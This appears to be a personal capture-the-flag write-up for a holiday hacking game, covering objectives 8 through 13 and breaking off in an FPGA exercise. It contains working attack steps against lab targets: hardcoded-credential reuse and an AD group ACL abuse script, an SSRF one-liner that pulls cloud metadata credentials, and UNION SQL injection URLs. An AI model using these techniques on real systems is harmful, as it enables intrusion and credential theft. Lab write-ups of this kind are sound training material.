  Extract-FilesFromStoppedNavContainer.ps1      N    12337  Wed Oct 27 19:12:43 2021
  build.ps1                           N     1921  Wed Oct 27 19:12:43 2021
  SdnRoles.ps1                        N      161  Wed Oct 27 19:12:43 2021
  Confirm-UserInput.ps1               N      576  Wed Oct 27 19:12:43 2021
  CheckHealth_https.ps1               N     1035  Wed Oct 27 19:12:43 2021
  Test-SdnKINetworkInterfaceAPIDuplicateMacAddress.ps1      N     3545  Wed Oct 27 19:12:43 2021
  UserHandling.ps1                    N      954  Wed Oct 27 19:12:43 2021
  Copy-FileToNavContainer.ps1         N     2554  Wed Oct 27 19:12:43 2021
  AzureVM.ps1                         N      204  Wed Oct 27 19:12:43 2021
  Get-NavContainerAppInfo.ps1         N     4152  Wed Oct 27 19:12:43 2021
  Sort-AppFoldersByDependencies.ps1      N     4949  Wed Oct 27 19:12:43 2021
  Get-OvsdbAddressMapping.ps1         N     2790  Wed Oct 27 19:12:43 2021
  Convert-Txt2Al.ps1                  N     5692  Wed Oct 27 19:12:43 2021
  Replace-NavServerContainer.ps1      N     6060  Wed Oct 27 19:12:43 2021
  Convert-WindowsImage.ps1            N    41636  Wed Oct 27 19:12:43 2021
  Start-NavContainer.ps1              N     1021  Wed Oct 27 19:12:43 2021
  Get-BcDatabaseExportHistory.ps1      N     2132  Wed Oct 27 19:12:43 2021
  Export-ModifiedObjectsAsDeltas.ps1      N     5307  Wed Oct 27 19:12:43 2021
  StoreIngestionFlightingApi.ps1      N   103200  Wed Oct 27 19:12:43 2021
  Get-PublicIpReference.ps1           N     2945  Wed Oct 27 19:12:43 2021
  HelperFunctions.ps1                 N    27213  Wed Oct 27 19:12:43 2021
  Set-TraceOutputFile.ps1             N      278  Wed Oct 27 19:12:43 2021
  Get-NetworkInterfaceEncapOverheadSetting.ps1      N     3033  Wed Oct 27 19:12:43 2021
  Remove-DesktopShortcut.ps1          N     1407  Wed Oct 27 19:12:43 2021
  Test-SdnEncapOverhead.ps1           N     3544  Wed Oct 27 19:12:43 2021
  Resolve-DependenciesFromAzureFeed.ps1      N     7364  Wed Oct 27 19:12:43 2021
  Format-NetshTraceProviderAsString.ps1      N     1611  Wed Oct 27 19:12:43 2021
  Add-FontsToNavContainer.ps1         N     2709  Wed Oct 27 19:12:43 2021
  Run-AlCops.ps1                      N    12613  Wed Oct 27 19:12:43 2021
  Remove-CompanyInNavContainer.ps1      N     1613  Wed Oct 27 19:12:43 2021
  LabConfig.ps1                       N    26968  Wed Oct 27 19:12:43 2021
  Wait-NavContainerReady.ps1          N     2757  Wed Oct 27 19:12:43 2021
  Bacpac.ps1                          N     3574  Wed Oct 27 19:12:43 2021
  Encryption.ps1                      N     6790  Wed Oct 27 19:12:43 2021
  Convert-ModifiedObjectsToAl.ps1      N     5477  Wed Oct 27 19:12:43 2021
  Get-NavContainerImageTags.ps1       N     3501  Wed Oct 27 19:12:43 2021
  Restore-DatabasesInNavContainer.ps1      N     7167  Wed Oct 27 19:12:43 2021
  Get-NavContainerArtifactUrl.ps1      N     1464  Wed Oct 27 19:12:43 2021
  NcManagedRoles.ps1                  N      145  Wed Oct 27 19:12:43 2021
  Flush-ContainerHelperCache.ps1      N     7793  Wed Oct 27 19:12:43 2021
  PackageHandling.ps1                 N      586  Wed Oct 27 19:12:43 2021
  Get-SdnGatewayConfigurationState.ps1      N     5568  Wed Oct 27 19:12:43 2021
  Install-NavContainerApp.ps1         N     2723  Wed Oct 27 19:12:43 2021
  Get-FormattedDateTimeUTC.ps1        N      171  Wed Oct 27 19:12:43 2021
  Get-OvsdbPhysicalPortTable.ps1      N     1510  Wed Oct 27 19:12:43 2021
  Sync-NavContainerApp.ps1            N     2533  Wed Oct 27 19:12:43 2021
  Invoke-NavContainerCodeunit.ps1      N     3449  Wed Oct 27 19:12:43 2021
  OvsdbTable.ps1                      N      142  Wed Oct 27 19:12:43 2021
  Run-TestsInNavContainer.ps1         N    26196  Wed Oct 27 19:12:43 2021
  Get-SdnOvsdbUcastMacRemoteTable.ps1      N     2510  Wed Oct 27 19:12:43 2021
  Test-SdnLoadBalancerMuxServiceState.ps1      N     3268  Wed Oct 27 19:12:43 2021
  Publish-PerTenantExtensionApps.ps1      N     7981  Wed Oct 27 19:12:43 2021
  Generate-SymbolsInNavContainer.ps1      N     3417  Wed Oct 27 19:12:43 2021
  New-NavContainer.ps1                N   105949  Wed Oct 27 19:12:43 2021
  Test-NavContainer.ps1               N     1722  Wed Oct 27 19:12:43 2021
  SoftwareLoadBalancer.Tests.ps1      N     1154  Wed Oct 27 19:12:43 2021
  Convert-EtwTraceToTxt.ps1           N     2912  Wed Oct 27 19:12:43 2021
  Get-SdnDiagnosticLog.ps1            N     3055  Wed Oct 27 19:12:43 2021
  Get-SdnNetworkController.ps1        N     1613  Wed Oct 27 19:12:43 2021
  New-NavContainerWindowsUser.ps1      N     1893  Wed Oct 27 19:12:43 2021
  Import-DeltasToNavContainer.ps1      N     4161  Wed Oct 27 19:12:43 2021
  Set-BcContainerKeyVaultAadAppAndCertificate.ps1      N     5486  Wed Oct 27 19:12:43 2021
  BcContainerHelper.ps1               N      323  Wed Oct 27 19:12:43 2021
  Repair-NavContainerApp.ps1          N     1775  Wed Oct 27 19:12:43 2021
  Create-AadAppsForNav.ps1            N    14383  Wed Oct 27 19:12:43 2021
  create-health-function.ps1          N     2409  Wed Oct 27 19:12:43 2021
  ConvertTo-HashTable.ps1             N      504  Wed Oct 27 19:12:43 2021
  Utilities.Tests.ps1                 N      792  Wed Oct 27 19:12:43 2021
  ConvertFrom-ExistingSubmission.ps1      N    52597  Wed Oct 27 19:12:43 2021
  Get-SdnVfpVmSwitchPort.ps1          N     2445  Wed Oct 27 19:12:43 2021
  Create-MyOriginalFolder.ps1         N     3515  Wed Oct 27 19:12:43 2021
  Copy-FileFromNavContainer.ps1       N     2321  Wed Oct 27 19:12:43 2021
  Test-SdnKIServerHostId.ps1          N     4615  Wed Oct 27 19:12:43 2021
  CompanyHandling.ps1                 N      268  Wed Oct 27 19:12:43 2021
  TenantHandling.ps1                  N     1095  Wed Oct 27 19:12:43 2021
  Export-NavContainerObjects.ps1      N     7955  Wed Oct 27 19:12:43 2021
  Get-GeneralConfigurationState.ps1      N     3654  Wed Oct 27 19:12:43 2021
  Get-SdnOvsdbGlobalTable.ps1         N     2437  Wed Oct 27 19:12:43 2021
  AppHandling.ps1                     N    15788  Wed Oct 27 19:12:43 2021
  Test-SdnServerConfigState.ps1       N     3323  Wed Oct 27 19:12:43 2021
  Get-NavContainerNavUser.ps1         N     1335  Wed Oct 27 19:12:43 2021
  Get-VfpPortRule.ps1                 N     5340  Wed Oct 27 19:12:43 2021
  VMState.ps1                         N      480  Wed Oct 27 19:12:43 2021
  TraceLevel.ps1                      N      155  Wed Oct 27 19:12:43 2021
  Install-AzDevops.ps1                N     1173  Wed Oct 27 19:12:43 2021
  Test-SdnProviderAddressConnectivity.ps1      N     2795  Wed Oct 27 19:12:43 2021
  Invoke-SdnNetworkControllerStateDump.ps1      N     3096  Wed Oct 27 19:12:43 2021
  Clear-SdnWorkingDirectory.ps1       N     1895  Wed Oct 27 19:12:43 2021
  Get-SdnProviderAddress.ps1          N     2451  Wed Oct 27 19:12:43 2021
  Remove-PSRemotingSession.ps1        N     1764  Wed Oct 27 19:12:43 2021
  Export-RegistryKeyConfigDetails.ps1      N     2468  Wed Oct 27 19:12:43 2021
  Get-NavContainerImageLabels.ps1      N     3272  Wed Oct 27 19:12:43 2021
  Get-AADToolkitApplicationCredentials.ps1      N     1941  Wed Oct 27 19:12:43 2021
  basic_template.ps1                  N      554  Wed Oct 27 19:12:43 2021
  Get-CompanyInNavContainer.ps1       N     1237  Wed Oct 27 19:12:43 2021
  CreateVMFleetDisk.ps1               N     5140  Wed Oct 27 19:12:43 2021
  NugetTools.ps1                      N    14494  Wed Oct 27 19:12:43 2021
  Renew-LetsEncryptCertificate.ps1      N     3966  Wed Oct 27 19:12:43 2021
  Trace-Output.ps1                    N     1895  Wed Oct 27 19:12:43 2021
  Test-NetworkInterfaceLocation.ps1      N     2103  Wed Oct 27 19:12:43 2021
  PatchParentDisks.ps1                N     3357  Wed Oct 27 19:12:43 2021
  Get-LatestAlLanguageExtensionUrl.ps1      N     1882  Wed Oct 27 19:12:43 2021
  Get-NavContainerGenericTag.ps1      N     1369  Wed Oct 27 19:12:43 2021
  Copy-FileToRemoteComputerWinRM.ps1      N     2571  Wed Oct 27 19:12:43 2021
  Start-EtwTraceSession.ps1           N     2605  Wed Oct 27 19:12:43 2021
  Scenario.ps1                        N    19420  Wed Oct 27 19:12:43 2021
  DownloadLatestCUs.ps1               N     5194  Wed Oct 27 19:12:43 2021
  Test-SdnKIVMNetAdapterDuplicateMacAddress.ps1      N     3826  Wed Oct 27 19:12:43 2021
  New-WorkingDirectory.ps1            N      623  Wed Oct 27 19:12:43 2021
  Get-BestGenericImageName.ps1        N     9616  Wed Oct 27 19:12:43 2021
  Download-Artifacts.ps1              N    11042  Wed Oct 27 19:12:43 2021
  Confirm-RequiredModulesLoaded.ps1      N      669  Wed Oct 27 19:12:43 2021
  Get-SdnServiceFabricReplica.ps1      N     4366  Wed Oct 27 19:12:43 2021
  GetProcessInfo.ps1                  N      699  Wed Oct 27 19:12:43 2021
  New-BcDatabaseExport.ps1            N     4133  Wed Oct 27 19:12:43 2021
  Get-NavContainerEventLog.ps1        N     1989  Wed Oct 27 19:12:43 2021
  Get-SdnEventLog.ps1                 N     3610  Wed Oct 27 19:12:43 2021
  Disconnect-AADToolkit.ps1           N      372  Wed Oct 27 19:12:43 2021
  Get-TraceProviders.ps1              N     2290  Wed Oct 27 19:12:43 2021
  TelemetryHelper.ps1                 N    14866  Wed Oct 27 19:12:43 2021
  Copy-FileFromRemoteComputer.ps1      N     3826  Wed Oct 27 19:12:43 2021
  Open-NavContainer.ps1               N     1750  Wed Oct 27 19:12:43 2021
  Start-SdnDataCollection.Tests.ps1      N      439  Wed Oct 27 19:12:43 2021
  Start-NavContainerAppDataUpgrade.ps1      N     1933  Wed Oct 27 19:12:43 2021
  Import-PfxCertificateToNavContainer.ps1      N     3433  Wed Oct 27 19:12:43 2021
  Stop-NavContainer.ps1               N      623  Wed Oct 27 19:12:43 2021
  settings.ps1                        N      682  Wed Oct 27 19:12:43 2021
  Start-SdnDataCollection.ps1         N    13843  Wed Oct 27 19:12:43 2021
  Invoke-ScriptInNavContainer.ps1      N     5924  Wed Oct 27 19:12:43 2021
  Test-SdnGatewayConfigState.ps1      N     3628  Wed Oct 27 19:12:43 2021
  Clean-BcContainerDatabase.ps1       N    15832  Wed Oct 27 19:12:43 2021
  Publish-NavContainerApp.ps1         N    20064  Wed Oct 27 19:12:43 2021
  Test-SdnKIServiceFabricPartitionDatabaseSize.ps1      N     5447  Wed Oct 27 19:12:43 2021
  Ensure-LocalAdmin.ps1               N     5044  Wed Oct 27 19:12:43 2021
  Get-SdnRoleConfiguration.ps1        N      318  Wed Oct 27 19:12:43 2021
  Get-BcEnvironments.ps1              N     1691  Wed Oct 27 19:12:43 2021
  Run-AlValidation.ps1                N    35917  Wed Oct 27 19:12:43 2021
  UnPublish-NavContainerApp.ps1       N     4137  Wed Oct 27 19:12:43 2021
  Move-SdnServiceFabricReplica.ps1      N     4490  Wed Oct 27 19:12:43 2021
  updatehosts.ps1                     N     5165  Wed Oct 27 19:12:43 2021
  Remove-NavContainerTenant.ps1       N     3770  Wed Oct 27 19:12:43 2021
  New-CompanyInNavContainer.ps1       N     1762  Wed Oct 27 19:12:43 2021
  AzureAD.ps1                         N      141  Wed Oct 27 19:12:43 2021
  Copy-FileToRemoteComputer.ps1       N     3794  Wed Oct 27 19:12:43 2021
  New-NavContainerTenant.ps1          N     5623  Wed Oct 27 19:12:43 2021

                41089256 blocks of size 1024. 34212676 blocks available
smb: \>

After spending some time digging through these files I ran across this bit of code that would allow me to authenticat as remote_elf.

lzzyduihov@grades:~/elfu_share$ cat GetProcessInfo.ps1
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate

After copying the credential code, i used it to establish a remote powershell session on the DC.

PS /home/lzzyduihov/elfu_share> $s = New-PSSession -ComputerName elfu.local -Credential $aCred -Authentication Negotiate
PS /home/lzzyduihov/elfu_share> Enter-PSSession $s
[elfu.local]: PS C:\Users\remote_elf\Documents>

After digging around the DC with basic enumeration commands like get-aduser, get-adgroup, etc. I noticed there was a group called Research Department. Checking the security of this object it appears we have access to modify group. So I granted my personal user account GenericAll access to this group by building and executing a script block.

PS /home/lzzyduihov/elfu_share> $sb = {
>> Add-Type -AssemblyName System.DirectoryServices
>> $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
>> $username = "lzzyduihov"
>> $nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
>> $propGUID = [guid]'00000000-0000-0000-0000-000000000000'
>> $IdentityReference = (
>>     New-Object System.Security.Principal.NTAccount("elfu.local\$username")
>> ).Translate([System.Security.Principal.SecurityIdentifier])
>> $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
>> $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule (
>>     $IdentityReference,
>>     ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"),
>>     ([System.Security.AccessControl.AccessControlType] "Allow"),
>>     $propGUID, $inheritanceType, $nullGUID
>> )
>> $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
>> $secOptions = $domainDirEntry.get_Options()
>> $secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
>> $domainDirEntry.RefreshCache()
>> $domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
>> $domainDirEntry.CommitChanges()
>> $domainDirEntry.Dispose()
>> }
PS /home/lzzyduihov/elfu_share> Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock $sb -Credential $aCred -Authentication Negotiate

Now we check to see if it worked.

$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$domainDirEntry.get_ObjectSecurity().Access | Where-Object IdentityReference -like *lzz*


ActiveDirectoryRights : GenericAll
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\lzzyduihov
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

Now we can use our own account to add ourselves to the Research Department group.

$sb = {
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "lzzyduihov"
$password = "Ownimuxdf#"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
$sid = $user.Translate([System.Security.Principal.SecurityIdentifier])
$b = New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID = [BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://<SID=$hexSID>")
$domainDirEntry.CommitChanges()
$domainDirEntry.Dispose()
}

PS /home/lzzyduihov/elfu_share> Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock $sb -Credential $aCred -Authentication Negotiate
PS /home/lzzyduihov/elfu_share> Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-ADUser lzzyduihov -Properties MemberOf } -Credential $aCred -Authentication Negotiate

PSComputerName    : 10.128.1.53
RunspaceId        : 84265629-eb47-4bf1-a81d-bcd535375b25
DistinguishedName : CN=lzzyduihov,CN=Users,DC=elfu,DC=local
Enabled           : True
GivenName         :
MemberOf          : {CN=Research Department,CN=Users,DC=elfu,DC=local}
Name              : lzzyduihov
ObjectClass       : user
ObjectGUID        : d514466d-c926-4ced-81e6-115b9cfaeeba
SamAccountName    : lzzyduihov
SID               : S-1-5-21-2037236562-2033616742-1485113978-1580
Surname           :
UserPrincipalName : lzzyduihov@elfu.local

I gave it a few minutes to allow our changes to propigate, and then I revisited the research_dep share I was unable to access the first time I found it.

lzzyduihov@grades:~/elfu_share$ smbclient \\\\172.17.0.3\\research_dep
Enter WORKGROUP\lzzyduihov's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Sun Dec 12 08:01:44 2021
  SantaSecretToAWonderfulHolidaySeason.pdf      N   173932  Thu Dec  2 16:38:26 2021

                41089256 blocks of size 1024. 34428140 blocks available
				
smb: \> get SantaSecretToAWonderfulHolidaySeason.pdf
getting file \SantaSecretToAWonderfulHolidaySeason.pdf of size 173932 as SantaSecretToAWonderfulHolidaySeason.pdf (84923.6 KiloBytes/sec) (average 84927.7 KiloBytes/sec)

kerberoasting - pdf loot

Answer: Kindness


Objective 9 - Splunk

Help Angel Candysalt solve the Splunk challenge in Santa’s great hall. Fitzy Shortstack is in Santa’s lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis?

Hints obtained at: Yara Analysis - Fitzy Shortstack

Admittedly I have spent some time now working with Splunk professionally so I found this challenge to be relatively easy and more or less just went after the answers in a way that felt natural for me.

Greetings North Pole visitor! I’m Angel Candysalt!
A euphemism? No, that’s my name. Why do people ask me that?
Anywho, I’m back at Santa’s Splunk terminal again this year.
There’s always more to learn!
Take a look and see what you can find this year.
With who-knows-what going on next door, it never hurts to have sharp SIEM skills!

Task 1
Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use.

SQ: index=* source="Journald:Microsoft-Windows-Sysmon/Operational" user=eddie CommandLine=*git*
ANS: git status

Task 2
Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the ‘partnerapi’ repo. The correct one!

SQ: index=* source="Journald:Microsoft-Windows-Sysmon/Operational" user=eddie CommandLine=*git* | table CommandLine | stats count by CommandLine
ANS: git@github.com:elfnp3/partnerapi.git

Task 3
The ‘partnerapi’ project that Eddie worked on uses Docker. Gather the full docker command line that Eddie used to start the ‘partnerapi’ project on his workstation.

SQ: index=* source="Journald:Microsoft-Windows-Sysmon/Operational" user=eddie CommandLine=*docker* | table CommandLine | stats count by CommandLine
ANS: docker compose up

Task 4
Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the URL of the vulnerable GitHub repository that the elves cloned for testing and document it here. You will need to search outside of Splunk (try GitHub) for the original name of the repository.

SQ: index=* sourcetype=github_json
ANS: https://github.com/snoopysecurity/dvws-node

Task 5
Santa asked Eddie to add a JavaScript library from NPM to the ‘partnerapi’ project. Determine the name of the library and record it here for our workshop documentation.

SQ: index=* user=eddie npm partnerapi | table CommandLine
ANS: holiday-utils-js

Task 6
Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious.

SQ: index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) | table process_name
ANS: /usr/bin/nc.openbsd

Task 7
Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don’t indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here.

SQ: index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) EventDescription="Process creation" nc.openbsd
SQ: index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) EventDescription="Process creation" ParentProcessId=6788 | table CommandLine
ANS: 6

Task 8
Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address.

SQ: index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational user=eddie NOT dest_ip IN (127.0.0.*) CommandLine=*.sh* | table CommandLine
ANS: preinstall.sh

Done
Thank you for helping Santa complete his investigation! Santa says you're a whiz!

Objective answer: whiz

Yay! You did it!


Objective 10 - Now Hiring

What is the secret access key for the Jack Frost Tower job applications server? Brave the perils of Jack’s bathroom to get hints from Noxious O. D’or.

Hints obtained at: IMDS Exploration - Noxious O. D’or

So this one is interesting, there is Frost Tower Team application site where you can apply, one of the input fields is meant to be used to lookup their naughty list status by providing an NLBI url. However, there do not seem to be any checks on this and the site will make a request to any address put in this space. Further, because it is expecting a mugshot more or less with the NLBI report it attempts to display the data as an image afterward, but this image will contain the request data for any address entered into the site. After some playing around I used this one-liner to make the request and pull the data in one go.

$ curl -sI 'https://apply.jackfrosttower.com/?inputName=C77&inputEmail=w%40w.com&inputPhone=0123456789&inputField=Aggravated+pulling+of+hair&resumeFile=&additionalInformation=None&submit=&inputWorkSample=http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role' && curl https://apply.jackfrosttower.com/images/C77.jpg

HTTP/2 200
server: nginx/1.16.1
date: Mon, 13 Dec 2021 04:07:03 GMT
content-type: text/html; charset=UTF-8
x-powered-by: PHP/7.3.14
via: 1.1 google
alt-svc: clear

{
   "Code": "Success",
   "LastUpdated": "2021-05-02T18:50:40Z",
   "Type": "AWS-HMAC",
   "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
   "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
   "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
   "Expiration": "2026-05-02T18:50:40Z"
}

Answer: CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX


Objective 11 - Customer Complaint Analysis

A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints.

Hints obtained at: Strace Ltrace Retrace - Tinsel Upatree

The objective provides the file jackfrosttower-network.zip, which contains a pcap file, jackfrosttower-network.pcap

Search for our guest based on them using a non-compliant host ip.flags.rb == 0

name=Muffy+VonDuchess+Sebastian&troll_id=I+don%27t+know.+There+were+several+of+them.&guest_info=Room+1024&description=I+have+never%2C+in+my+life%2C+been+in+a+facility+with+such+a+horrible+staff.+They+are+rude+and+insulting.+What+kind+of+place+is+this%3F+You+can+be+sure+that+I+%28or+my+lawyer%29+will+be+speaking+directly+with+Mr.+Frost%21&submit=Submit

Use our target information to search the rest of the TCP streams.

name=Yaqh&troll_id=2796&guest_info=Snooty+lady+in+room+1024&description=Lady+call+desk+and+ask+for+more+towel.+Yaqh+take+to+room.+Yaqh+ask+if+she+want+more+towel+because+she+is+like+to+steal.+She+say+Yaqh+is+insult.+Yaqh+is+not+insult.+Yaqh+is+Yaqh.&submit=Submit
name=Flud&troll_id=2083&guest_info=Very+cranky+lady+in+room+1024&description=Lady+call+front+desk.+Complain+%22employee%22+is+rude.+Say+she+is+insult+and+want+to+speak+to+manager.+Send+Flud+to+room.+Lady+say+troll+call+her+towels+thief.+I+say+stop+steal+towels+if+is+bother+her.&submit=Submit
name=Hagg&troll_id=2013&guest_info=Incredibly+angry+lady+in+room+1024&description=Lady+call+front+desk.+I+am+walk+by+so+I+pick+up+phone.+She+is+ANGRY+and+shout+at+me.+Say+she+has+never+been+so+insult.+I+say+she+probably+has+but+just+didn%27t+hear+it.&submit=Submit

Answer: Flud Hagg Yaqh


Objective 12 - Frost Tower Website Checkup

Investigate Frost Tower’s website for security issues. This source code will be useful in your analysis. In Jack Frost’s TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa’s dining room, may have some pointers for you.

Hints obtained at:

Hey there! I’m Ingreta Tude. I really don’t like the direction Jack Frost is leading us.
He seems obsessed with beating Santa and taking over the holiday season. It just doesn’t seem right.
Why can’t we work together with Santa and the elves instead of trying to beat them?
But, I do have an Objective for you. We’re getting ready to launch a new website for Frost Tower, and the big guy has charged me with making sure it’s secure.
My sister, Ruby Cyster, created this site, and I don’t trust the results.
Can you please take a look at it to find flaws?
Here is the source code if you need it.

An issue located in the source code, creating a /contact that has an email that already exists in the database, sets the UniqueID session cookie, then you can manually navigate to /dashboard and access several resources that only perform a check to see if you have a valid UqigueID session set.

Now that we have a little more acess there is another problem located in the source code where the application is using the mysql.raw function inside of an escape function without realizing this raw function will override any attempt to escape the string.

I modeled the sql string creation behavior for testing using https://codesandbox.io

Javascript:

var m = require('mysql');

var reqparam = '0,1 UNION Select 2,3,4 --';

var query1 = "SELECT * FROM uniquecontact WHERE id=";
var query2 = "SELECT * FROM uniquecontact WHERE id=";


if (reqparam.indexOf(',') > 0){
	var ids = reqparam.split(',');
	reqparam = "0";
	for (var i=0; i<ids.length; i++){
		query1 += m.escape(m.raw(ids[i]));
		query1 += " OR id=";
		query2 += m.escape(ids[i]);
		query2 += " OR id=";
	}
	query1 += "?";
	query2 += "?";
	}else{
		query1 = "SELECT * FROM uniquecontact WHERE id=?";
		query2 = "SELECT * FROM uniquecontact WHERE id=?";
}

var q1 = m.format(query1, [reqparam]);
var q2 = m.format(query2, [reqparam]);

document.getElementById('1').innerHTML = q1;
document.getElementById('2').innerHTML = q2;

Html:

<!DOCTYPE html>
<html>
<head>
	<title>Sandbox</title>
	<meta charset="UTF-8" />
</head>
<body>
	<h4>This is procees by mysql.raw() inside of a mysql.escape():</h4>
	<div id="1"></div>
	<h4>This is the same query process only by mysql.escape():</h4>
	<div id="2"></div>
	<script src="src/index.js"></script>
</body>
</html>

Used this query to look for other table names.

https://staging.jackfrosttower.com/detail/10,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT name from users)b JOIN (SELECT table_name FROM information_schema.tables)c JOIN (SELECT user_status from users)d JOIN (SELECT token from users)e JOIN (SELECT 6)f JOIN (SELECT 7)g --

Found todo

Used this to list todo collumn names.

https://staging.jackfrosttower.com/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT name from users)b JOIN (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='todo')c JOIN (SELECT user_status from users)d JOIN (SELECT token from users)e JOIN (SELECT 6)f JOIN (SELECT 7)g --

found:

id
note
completed
https://staging.jackfrosttower.com/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT note from todo)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g --

Answer: clerk

- Buy up land all around Santa's Castle  
- Build bigger and more majestic tower next to Santa's  
- Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
- Dishearten Santa's elves and encourage defection to our cause
- Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle
- Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
- Force Santa to cancel Christmas
- SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
- With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him

Oh wow - I thought we left SQL injection in the last decade.
Thanks for your help finding this!


Objective 13 - FPGA Programming

Write your first FPGA program to make a doll sing. You might get some suggestions from Grody Goiterson, near Jack’s elevator.

Hints obtained at:

Greetings Earthling! I’m Crunchy Squishter.
Hey, could you help me get this device on the table working? We’ve cobbled it together with primitive parts we’ve found on your home planet.
We need an FPGA though - and someone who knows how to program them.
If you haven’t talked with Grody Goiterson by the Frostavator, you might get some FPGA tips there.

## EE/CS 302 - Exercise #4

Hello, students! In exercise #4, we continue our FPGA journey, documenting the creation of the sound chip for this holiday season's new _Kurse 'em Out Karen_ doll. Our goal is to make the doll say its [trademark phrase](https://fpga.jackfrosttower.com/?challenge=fpga&id=98498d52-006a-40f4-8db0-977f789aac31&username=Wheatley&area=rooftop&location=10,10#). But, as I always tell you in class, we must walk before we run.

Before the doll can say anything, we must first have it make noise. In this exercise you will design an FPGA module that creates a square wave tone at a variable frequency.

Creating a square wave output takes our clock signal (which is also a square wave) and uses a counter to divide the clock to match the desired frequency. One tricky problem that we'll encounter is that Verilog (v1364-2005) doesn't have a built-in mechanism to _round_ real numbers to integers, so you'll need to devise a means to do that correctly if you want your module to match frequencies accurately.

Good luck and always remember:

If $rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4, add 1

### - Prof. Qwerty Petabyte

Starting with:

// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following 
